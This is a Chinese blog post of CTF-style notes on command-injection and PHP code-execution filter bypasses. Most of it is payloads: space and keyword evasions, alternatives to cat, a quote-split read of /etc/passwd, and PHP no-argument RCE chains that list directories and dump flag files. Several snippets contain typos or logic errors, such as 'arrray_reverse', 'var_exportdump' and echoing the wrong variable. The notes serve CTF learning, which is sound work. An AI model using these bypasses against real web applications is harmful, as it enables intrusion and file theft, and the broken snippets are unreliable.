web 1

2.7 常见的绕过姿势:
1. 常用符号
    命令连接符
Windows和Linux都支持的命令连接符:
cmd1 | cmd2 只执行cmd2
cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
cmd1 && cmd2 先执行cmd1,只有cmd1执行成功后才执行cmd2,否则不执行cmd2
    Linux特有:分号
    cmd1 ; cmd2 按顺序依次执行,先执行 cmd1 再执行 cmd2
    通配符
    ?   单个字符
    *    零个、单个或多个字符
2. cat 绕过
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看 10
(11)uniq:可以查看 11
(12)file -f:报错出具体内容 12
(13)sed:一种编辑器,这个也可以查看 13
(14)grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符
串的行。此时,可以使用如下命令: grep test *file
(15)strings
3. 空格绕过
1. ${IFS}替换
2. $IFS$1替换
3. ${IFS替换 3 ${IFS}$9
4. %20替换
5. < 和 <> 重定向符替换
6. %09替换(需要php环境)
7. %0a %0b %0c %0d 8
4. 敏感字符绕过
    变量绕过   a=c;b=at;c=fl;d=ag;$a$b $c$d
    base64 绕过
echo 1234 | base64 
MTIzNAo= 
echo 'MTIzNAo=' | base64 -d 
1234 
/bin/base64 1.txt 
MTIzCg== 
    单双引号   c" "at fl' 'ag
    反斜线      c\at fl\ag
     连接符      cat /etc/pass'w'd
6. 扫描目录
    print_r扫描目录
c=print_r(scandir('.'));#查看当前目录
c=print_r(scandir('/'));#查看根目录
c=print_r(glob('*'));#查看当前目录
c=print_r(glob('/*'));#查看根目录
    var_dump扫描目录
c=var_dump(scandir('.'));#查看当前目录
c=var_dump(scandir('/'));#查看根目录
c=var_dump(glob('*'));#查看当前目录
c=var_dump(glob('/*'));#查看根目录
     var_export扫描目录
c=var_export(scandir('.'));#查看当前目录
c=var_export(scandir('/'));#查看根目录
c=var_export(glob('*'));#查看当前目录
c=var_exportdump(glob('/*'));#查看根目录
     glob目录遍历
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}
exit();
或者
$a = "glob:///*.txt";
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$b."\n";
}
close($b);
}
7. 无参 RCE 构造
chr():根据ascii码值将数字转换成字符串
get_defined_vars() 获取题目相关变量
print_r() 函数用于打印变量,以更容易理解的形式展示
localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中
的第一个为点号(.)
pos():返回数组中的当前元素的值。这里也可以换成current(),作用和pos类似
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。
current(): 返回数组当前值
reset(): 设置当前数组指针指向第一个单元
crypt(): 单项字符串散列,相当于将字符串转换为hash等的复杂字符串
floor(): 舍去法取整
ceil(): 进一法取整
sinh/cosh(): 双曲正弦/余弦
scandir(string $directory): array: 列出指定路径中的文件和目录,返回一个 array,
包含有 directory 中的文件和目录。
getcwd(): 获取当前工作目录
    构造
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
chr(ord(hebrevc(crypt(time())))) #小概率
chr(ord(strrev(crypt(serialize(array()))))
  (查当前目录)     
payload:?c=print_r(scandir(current(localeconv()))); 
或者是
?c=print_r(scandir(pos(localeconv()))); #pos是current的别名,localeconv()返
回的数组中第一个值为'.'
     查倒数第二个文件
    ?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));#
取数组倒数第二个元素
    ?c=show_source(next(arrray_reverse(scandir(getcwd()))));
     读最后一个文件
    ?c=show_source(current(array_reverse(scandir(getcwd()))));#flag 在最后一个文件
    不确定文件位置 
?c=show_source(array_rand(array_flip(scandir(getcwd()))));
array_flip - 交换数组中的键和值
array_rand — 从数组中随机取出一个或多个随机键,有两个参数默认为1
?c=show_source(array_rand(array_flip(scandir(current(localeconv()))))); #array_rand(array_flip()),array_flip()是交换数组的键和值,
array_rand()是随机返回一个数组
#getchwd() 函数返回当前工作目录。
    目标文件不在当前目录中
6. 系统命令构造数字:
    {_} = ""
    $(())=0
    $((~$(())))=-1

    
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值